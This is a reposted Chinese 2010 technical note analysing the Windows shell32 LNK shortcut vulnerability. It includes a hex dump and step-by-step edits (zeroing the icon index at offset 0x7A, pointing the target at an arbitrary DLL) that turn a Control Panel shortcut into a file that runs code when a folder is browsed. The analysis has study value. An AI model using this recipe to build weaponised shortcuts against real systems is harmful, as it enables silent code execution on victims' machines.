LNK文件漏洞简要分析
来源:本站转载
时间:2010-07-22 09:54:02
前言
windows的shell32在处理控制面板程序的快捷方式文件时,存在一个漏洞,可以加载硬盘上的任意DLL文件,即可执行任意代码。
漏洞文件的生成
到“控制面板”下面,右键点“显示”,点“创建快捷方式”,把快捷方式创建在桌面上。然后在桌面用WinHex打开“显示.lnk”文件。
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 L...........?..
00000010 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 ...F?..........
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ................
00000040 00 00 00 00 00 00 00 00 00 00 00 00 CC 00 14 00 ............?..
00000050 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+0
00000060 30 9D 14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD 0?... ??i.⑤
00000070 08 00 2B 30 30 9D A2 00 00 00 9C FF FF FF 00 00 ..+00潰...?..
00000080 00 00 00 6A 00 00 00 00 00 00 1D 00 20 00 44 00 ...j........ .D.
00000090 3A 00 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 :.\.W.I.N.D.O.W.
000000A0 53 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 S.\.s.y.s.t.e.m.
000000B0 33 00 32 00 5C 00 64 00 65 00 73 00 6B 00 2E 00 3.2.\.d.e.s.k...
000000C0 63 00 70 00 6C 00 00 00 3E 66 3A 79 00 00 F4 66 c.p.l...>f:y..鬴
000000D0 39 65 A8 60 84 76 4C 68 62 97 84 76 16 59 C2 89 9e╜剉Lhb梽v.Y
000000E0 0C FF 8B 4F 82 59 CC 80 6F 66 01 30 4F 5C 55 5E .婳俌虁of.0O\U^
000000F0 DD 4F A4 62 0B 7A 8F 5E 01 30 9C 98 72 82 01 30 軴.z廭.0湗r?0
00000100 57 5B 53 4F 27 59 0F 5C 8C 54 4F 5C 55 5E 06 52 W[SO'Y.\孴O\U^.R
00000110 A8 8F 87 73 02 30 00 00 00 00 00 00 00 00 ◤噑.0........
把偏移7A处的9C FF FF FF改成00 00 00 00,把后面的文件名D:\WINDOWS\system32\desk.cpl改成C:\dll.dll(UNICODE格式)。保存文件。把这个文件复制到任意目录下,当用户浏览该目录时,就会加载C:\dll.dll文件。
Lnk文件格式的相关地方
Lnk的目标文件存放在Shell Item Id List的SHITEMID结构里面,这个结构是按照层来表示一个目标的。上面那个lnk文件里面,第一层是
14 00 ............?..
00000050 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+0
00000060 30 9D
14 00代表长度,后面的16字节是“我的电脑”的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D},注册表里可以搜到。第二层是
14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD 0?... ??i.⑤
00000070 08 00 2B 30 30 9D
这个是“控制面板”的GUID {21EC2020-3AEA-1069-A2DD-08002B30309D}。
第三层就是后面长度为0xA2的目标文件。这里面偏移0x7A处的9C FF FF FF是用来指明快捷方式图标的index。貌似是这样的。
所以这个Shell Item Id List所指向的文件就是:我的电脑->控制面板->D:\WINDOWS\system32\desk.cpl。
对于普通文件的快捷方式,好像是:我的电脑->盘符->目录1->目录2…->文件名。
漏洞产生的地方
shell32在处理lnk文件的时候要把它的图标显示出来,对于一般文件应该是从Icon filename string里面解析,但对于文件后面没有Icon filename string结构的控制面板快捷方式,是直接从0x7A那里的iconindex来解析。当这个iconindex是0的时候,会去加载cpl文件,调用CPlApplet接口,这样就存在执行DLL中代码的问题。
下一篇:分享进入内网的详细步骤












